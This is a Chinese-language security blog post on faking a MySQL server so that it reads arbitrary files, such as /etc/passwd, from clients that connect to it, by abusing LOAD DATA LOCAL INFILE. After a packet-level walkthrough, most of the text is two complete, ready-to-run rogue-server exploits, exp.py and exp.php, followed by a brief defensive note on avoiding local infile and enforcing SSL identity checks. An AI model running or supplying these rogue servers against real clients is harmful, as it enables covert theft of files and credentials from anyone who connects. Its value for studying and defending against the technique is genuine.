简介
我们通过伪造一个MySQL服务端,当有用户链接我们这个服务端的时候,我们可以尝试通过MySQL的load data local infile
语句来读取客服端文件,在溯源反制这一块比较有用…
LOAD DATA INFILE
出现可以读取客户端文件的这个问题的原因主要是出在LOAD DATA INFILE
这个sql语句上,这个语句主要是用于读取一个文件的内容并且放到一个表中。
通常有两种用法,分别是:
load data infile "/server/etc/passwd" into table TestTable;
load data local infile "/client/etc/passwd" into table TestTable;
第一个SQL语句是将服务端
的/server/etc/passwd
文件保存到TestTable
表里面去; 而第二个SQL语句则是将客户端
的/client/etc/passwd
文件保存到TestTable
表里面去,官方文档可以参考…
MySQL官方文档也是指出这一个安全问题:
所以我们可以来伪造MySQL服务端来实现读取客户端文件的功能…
分析
服务端IP: 192.168.56.101
客户端IP: 192.168.56.1
要分析具体的实现过程,我们需要先抓取MySQL登录以及执行sql语句的数据包然后来分析;
如果我们直接用Wireshark通过tcp.port == 3306来抓取的话,我们会发现数据包都被加密了。走的是SSL通信:
我们只能看到最初的两条MySQL包,所以我们需要先关闭客户端的SSL。在配置文件/etc/mysql/mysql.conf.d/mysqld.cnf
中加入:
[mysql]
skip_ssl
然后重新连接MySQL服务端抓包,然后执行LOAD DATA INFILE
语句:
Greeting数据包
这部分是服务端发给客户端的,主要包含服务端的基本信息等;
登录请求数据包
这部分是客户端发给服务端的,其中包含了用户名和密码等信息,如果服务端验证成功的话,回返回一个Response OK的数据包,此时登录验证完成:
客户端的初始化查询等数据包
LOAD DATA INFILE数据包
现在我们就在看最重要的数据包:
当客户端发起这个读取本地文件并写到表proc中的请求时,服务器会返回一个Response TABULAR的数据包:
这个数据包包含了要读取的文件的文件名,协议格式可以参考https://dev.mysql.com/doc/internals/en/com-query-response.html:
然后,客户端会根据这个数据包,读取文件并将文件内容返回到服务端:
总体正常过程如下:
客户端:我需要把我本地/etc/passwd文件的内容写到表proc中去!
服务端:读取你本地/etc/passwd文件并发给我,我来将内容写到表proc中去!
客户端:这是文件/etc/passwd的内容:root:/bin......
但是非正常过程可能如下:
客户端:我需要把我本地sir.txt文件的内容写到表proc中去!
服务端:读取你本地/etc/passwd文件并发给我,我来将内容写到表proc中去!
客户端:这是文件/etc/passwd内容:root:/bin......
即我们可以读到任意文件。
Exploit
最重要的是我们可以读任意文件的关键在于,我们不需要接受到客户端的LOAD DATA INFILE请求的时候才回复Response TABULAR,而是在任何请求时回复一个Response TABULAR都可以实现。
所以我们的EXP可以分为这样的一个步骤:
- 向客户端发送Greeting数据包
- 客户端发送登录请求时,回复Response OK的数据包
- 客户端发送查询请求时,回复Response TABULAR数据包进行读文件
我们需要构造Greeting数据包,重点是需要禁止SSL,否则会出现ERROR 2026 (HY000): SSL connection error: protocol version mismatch等问题:
'\x0a', # Protocol
'5.7.34-0ubuntu0.18.04.1' + '\0', # server Version
'\x36\x00\x00\x00', # connection ID
'ABCDABCD' + '\0', # Salt
'\xff\xf7', # Capabilities, CLOSE SSL HERE!
'\x08', # Collation
'\x02\x00', # Server Status
"\x0f\x80\x15",
'\0' * 10, # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"
Response OK数据包的格式为:
Response TABULAR数据包的格式为:
第一个字节是读取的文件的长度加1,即strlen(filename) + 1,然后长度后面的三个字节\x00\x00\x01是数据包的序号,最后是’\xfb’ + 文件名字。
EXP
exp.py:
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/etc/passwd',
# '/home/sir/sir.txt',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
exp.php:
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:3306");
while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}
echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";
echo "[+] $filename from $peer:\n";
$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}
echo "\n\n";
fclose($s);
}
总结
要防御这种攻击,我们只客户端要避免使用LOAD DATA INFILE来读取本地文件,同时我们应该使用–ssl-mode=VERIFY_IDENTITY来建立可信的连接…
参考资料:
https://xz.aliyun.com/t/3973
https://blog.csdn.net/qq_42799562/article/details/112966217
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/